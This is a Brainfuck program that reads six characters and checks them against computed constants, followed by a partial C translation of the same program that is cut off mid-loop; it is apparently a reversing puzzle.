>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<<<<<<[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<[>>>>>>+<<<<<<[-]]>[>>>>>+<<<<<[-]]>[>>>>+<<<<[-]]>[>>>+<<<[-]]>[>>+<<[-]]>[>+<[-]]>>,>,>,>,>,>,>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<<<<<<[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<+>>>>>>>[-]]>[<<<<<<<<+>>>>>>>>[-]]>[<<<<<<<<<+>>>>>>>>>[-]]>[<<<<<<<<<<+>>>>>>>>>>[-]]>[<<<<<<<<<<<+>>>>>>>>>>>[-]]>[<<<<<<<<<<<<+>>>>>>>>>>>>[-]]<<<<<<<<<<<<.

a.cpp

#include<stdio.h>
int main(){
	char _[0x1000];
	char*ptr = _;
	int i;
	for(i=0;i<0x1000;i++){
		_[i]=0;
	}
	ptr = &_[1];
	*ptr = getchar();
	ptr = &_[2];
	*ptr = getchar();
	ptr = &_[3];
	*ptr = getchar();
	ptr = &_[4];
	*ptr = getchar();
	ptr = &_[5];
	*ptr = getchar();
	ptr = &_[6];
	*ptr = getchar();
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[9];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[9];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[10];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[10];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[11];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[11];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[12];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[12];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[13];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[13];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[14];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[14];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[16];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[16];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[18];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[18];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[19];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[19];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[26];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[26];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[21];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[27];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[21];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[27];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[23];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[23];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[24];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[24];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[9];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[9];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[16];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[16];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[23];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[23];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[30];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[30];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[25];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[25];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[10];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[32];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
